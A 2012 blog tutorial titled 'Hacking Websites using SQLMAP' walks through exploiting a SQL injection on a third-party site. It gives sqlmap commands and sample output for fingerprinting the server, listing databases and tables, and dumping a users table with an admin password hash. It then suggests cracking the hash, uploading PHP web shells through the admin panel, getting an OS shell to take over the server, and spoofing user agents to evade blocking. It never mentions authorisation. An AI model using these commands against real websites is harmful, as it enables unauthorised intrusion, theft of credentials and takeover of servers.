Sunday, October 28, 2012

Hacking Websites using SQLMAP | HackingLoops Tutorials


Hey friends, Hackingloops is back with another tutorial on Hacking Websites. Today we will learn how to hack websites using SQLMAP. Hacking websites using SQLMAP is quite easy, if you know how to use SQLMAP. Sqlmap is one of the most popular and powerful sql injection automation tool out there. Get it from http://sqlmap.org/. In this tutorial we are going to learn how to use sqlmap to exploit a vulnerable web application and see what all can be done with such a tool.
For the list of options and parameters that can be used with the sqlmap command, check the following url
https://github.com/sqlmapproject/sqlmap/wiki/Usage

To understand this tutorial you should have a thorough understanding of how database driven web applications work. For example those made with php+mysql.

Urls

Lets say you have a url like this
http://www.site.com/section.php?id=51
and that it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url
http://www.site.com/section.php?id=51'
We just added a single quote in the parameter. If this url throws an error then it is clear that the database has reacted with an error because it got an unexpected single quote.

Hacking with sqlmap

Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter.
python sqlmap.py -u "http://www.site.com/section.php?id=51"
The above is the first and most simple command to run with the sqlmap tool. It will check the url and try to discover basic information about the system. The output can look something like this
[*] starting at 12:10:33 [12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

So the sqlmap tool has discovered the Operating system, web server and database along with version information. Even this much is pretty impressive. But its time to move on and see what more is this tool capable of.
 
Discover Databases
In this step sqlmap shall be used to find out what databases exist on the target system. Again the command is very simple
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
The output could be something like this
[*] starting at 12:12:56 [12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
This time the output contains the available databases list. Move on...


Find tables in the database
Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is 'safecosmetics'
Command
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
and the output can be something similar to this
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
[11:55:22] [INFO] retrieved: acl_acl_seq
[11:55:24] [INFO] retrieved: acl_aco
[11:55:25] [INFO] retrieved: acl_aco_map
[11:55:26] [INFO] retrieved: acl_aco_sections
[11:55:28] [INFO] retrieved: acl_aco_sections_seq
...........
isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.


Get columns of a table
Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
The output can be something like this
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)                                                                                         
[12:17:45] [INFO] retrieved: name                                                                                            
[12:17:46] [INFO] retrieved: text                                                                                            
[12:17:47] [INFO] retrieved: password                                                                                        
[12:17:48] [INFO] retrieved: text                                                                                            
[12:17:49] [INFO] retrieved: permission                                                                                      
[12:17:51] [INFO] retrieved: tinyint(4)                                                                                      
[12:17:52] [INFO] retrieved: email                                                                                           
[12:17:53] [INFO] retrieved: text                                                                                            
[12:17:54] [INFO] retrieved: system_home                                                                                     
[12:17:55] [INFO] retrieved: text
[12:17:57] [INFO] retrieved: system_allow_only
[12:17:58] [INFO] retrieved: text
[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+


So now the columns are clearly visible. Good job!

Get data of the table
Now comes the most interesting part, of extracting the data from the table. The command would be
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
The above command will simply dump the data of the particular table, very much like the mysqldump command.

The output might look similar to this


+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>   | <blank>  | 3          | <blank>     | <blank>           |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.

What Next ?

Execute arbitrary Sql command on the server
This is probably the easiest thing to do on a server that is vulnerable to sql injection. The --sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.
Another paramter --sql-shell would give an sql shell like interface to run queries interactively.

Get inside the admin panel and play
If the website is running somekind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by bruteforcing, however long length complex passwords may not be breakable.
Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.

Shell on remote OS
This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call --os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.
According to the sqlmap manual
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
The most important privilege needed by the current database user is to write files through the database functions. This is absent in most cases. Hence this technique will not work in most cases.

Note

1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of "testing connection to the target url". In such cases its helpful to use the "--random-agent" option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.
2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like

http://www.site.com/class_name/method/43/80.
In such cases sqlmap needs to be told the injection point marked by a *

http://www.site.com/class_name/method/43*/80
The above will tell sqlmap to inject at the point marked by *

That's all friends. Special thanks to silver moon for article.

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